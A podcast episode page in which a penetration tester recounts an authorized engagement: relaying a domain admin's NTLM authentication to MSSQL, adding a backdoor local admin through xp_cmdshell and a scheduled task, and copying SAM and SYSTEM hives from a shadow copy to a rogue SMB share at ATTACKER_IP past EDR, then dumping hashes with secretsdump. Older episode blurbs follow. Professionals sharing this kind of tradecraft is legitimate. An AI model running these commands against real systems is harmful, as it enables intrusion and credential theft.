7MS #692: Tales of Pentest Pwnage – Part 76

7MS #692: Tales of Pentest Pwnage – Part 76

Happy Friday! Today's another hot pile of pentest pwnage. To make it easy on myself I'm going to share the whole narrative that I wrote up for someone else:

I was on a pentest where a DA account would sweep the networks every few minutes over SMB and hit my box. But SMB signing was on literally everywhere. The fine folks here recommended I try relaying to something NOT SMB, like MSSQL. This article had good context on that: https://www.guidepointsecurity.com/blog/beyond-the-basics-exploring-uncommon-ntlm-relay-attack-techniques/.

I relayed the DA account to a SQL box that BloodHound said had a "session" from another DA. One part I can't explain is the first relay got me a shell in the context of NT SERVICE\MSSQLSERVER. That shell broke for some reason while I was sleeping that night, and the next relay landed as NT AUTHORITY\SYSTEM (!). The net command would let me add a new user, but BLOCK me trying to make that new user a local admin. However, a scheduled task did the trick: xp_cmdshell schtasks /create /tn "Maintenance" /tr "net local group administrators backdoor /add" /sc once /st 12:00 /ru SYSTEM /f and then xp_cmdshell schtasks /run /tn "Maintenance".

Turns out a DA wasn't interactively logged in, but a DA account was configured to run a specific service. I learned those goodies are stored in LSA, so the next move was to use my local admin account to RDP in to the victim and create a shadow copy. That part went fine, but for the life of me I couldn't copy reg hives out of it – EDR was unhappy.

In the end, the bizarre combo of things that did the trick was:

  • Setup smbserver.py with username/password auth on my attacking box: smbserver.py -smb2support share . -username toteslegit -password 'DontMindMeLOL!'
  • From the victim system, I did an mklink to the shadow copy: mklink /d C:\tempbackup \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy123\
  • From command prompt on the victim system, I authenticated to my rogue share: net use \\ATTACKER_IP\share /user:toteslegit DontMindMeLOL!
  • Then I did a copy command for the first hive: copy SYSTEM \\my.attackingip\sys.test. EDR would kill this cmd.exe box IMMEDIATELY. However….the copy completed!
  • I repeated this process to get SAM copied over as sam.test. Again, EDR nuked the cmd.exe window but copy completed!!!111!!!!!
  • Finishing move: secretsdump -sam sam.test -system sys.test LOCAL

Jaksot(706)

7MS #145: OFF-TOPIC - Sicario and The Walk

7MS #145: OFF-TOPIC - Sicario and The Walk

In today's off-topic episode I review two movies: Sicario and The Walk.

21 Tammi 20167min

7MS #144: Shoulder-Surfing with Seasoned Pentesters

7MS #144: Shoulder-Surfing with Seasoned Pentesters

I recently had the opportunity to shoulder-surf with some seasoned Webapp pentesters, and wanted to share what I learned about their tools, techniques and methodologies.

18 Tammi 20167min

7MS #143: Friday Infosec News and Links Roundup

7MS #143: Friday Infosec News and Links Roundup

Here are some of my fav' stories and links for this week! * Burn it all...The New Security Fundamentals **(Wednesday, January 20 @ 1 p.m. CST)**: a free Webinar on setting up the "*core technical things you need to do for your security program*." I've attended many Webinars from the BHIS group and they're always informative and humorous. * Real World Web Penetration Testing **(Thursday, January 28 @ 1 p.m. CST)**: a $25 Webinar on going through "*a real world penetration test. We will explore the methodology and procedures Secure Ideas follows as we test web applications. The course will also walk through some tricks and tips on how to focus your testing on likely flaws*." I have seen four of their recorded courses before and found them to be *absolutely* worth the money I spent, so I'm confident this upcoming session will be no exception. * Fortinet SSH backdoor not much to say except if you use any of the affected products, update immediately as they contain an SSH backdoor: * FortiOS v4.3.17 or any later version of FortiOS v4.3 (available as of July 9, 2014) * FortiOS v5.0.8 or any later version of FortiOS v5.0 (available as of July 28, 2014) * Any version of FortiOS v5.2 or v5.4 * Hacker sentenced to 334 years in prison for operating a phishing Web site similar to that of a legit banking Web site. Moral of the story? Don't do that. * Don't use IE 8, 9 or 10 anymore! unless you like to live dangerously.

15 Tammi 20168min

7MS #142: OFF-TOPIC - Media Servers and Making a Murderer

7MS #142: OFF-TOPIC - Media Servers and Making a Murderer

This off-topic episode covers: * Media servers - I'm a newb in this area and could use your help in setting up a config that actually works! * Making a Murderer - this is a fantastic documentary on Netflix. Stop what you're doing (once you listen to this episode) and watch *immediately* please.

13 Tammi 20168min

7MS #141: Happy (Belated) New Year!

7MS #141: Happy (Belated) New Year!

Happy (belated) new year! This episode is more of a "What am I listening to, a PBS telethon?!" kind of thing, and I'm sorry for that. But I want to cover: * Scheduling changes for 2016 - we're gonna be 3 times a week! * A new documentation project I'm working on called BPATTY (Brian's Pentesting and Technical Tips for You) * A way you can support the podcast financially.

11 Tammi 20168min

7MS #140: OFF-TOPIC - Video Games I'm Currently Playing

7MS #140: OFF-TOPIC - Video Games I'm Currently Playing

This episode talks about some cool video games I've been playing lately: * Metal Gear Solid Phantom Pain (Xbox 360) * Rise of the Tomb Raider (Xbox 360) * Luminocity (iPhone) * Super Mario Maker (Wii U) I recommend 'em all!

8 Tammi 20169min

7MS #139: Securing Your Life - Part 2

7MS #139: Securing Your Life - Part 2

Back in episode #93 I talked about securing your life - in other words, asking yourself "What would happen if I was dead right now? Do I have adequate insurance? Are my finances in order? How about estate planning?" This episode continues that train of thought, and I share some new changes I've made in my "life security" department.

8 Tammi 20168min

7MS #138: OFF-TOPIC - The Hateful Eight

7MS #138: OFF-TOPIC - The Hateful Eight

Looks like I'm one of the few people in the world who did NOT love this movie. I found it painful slow and claustrophobic. #diappointed.

7 Tammi 20168min

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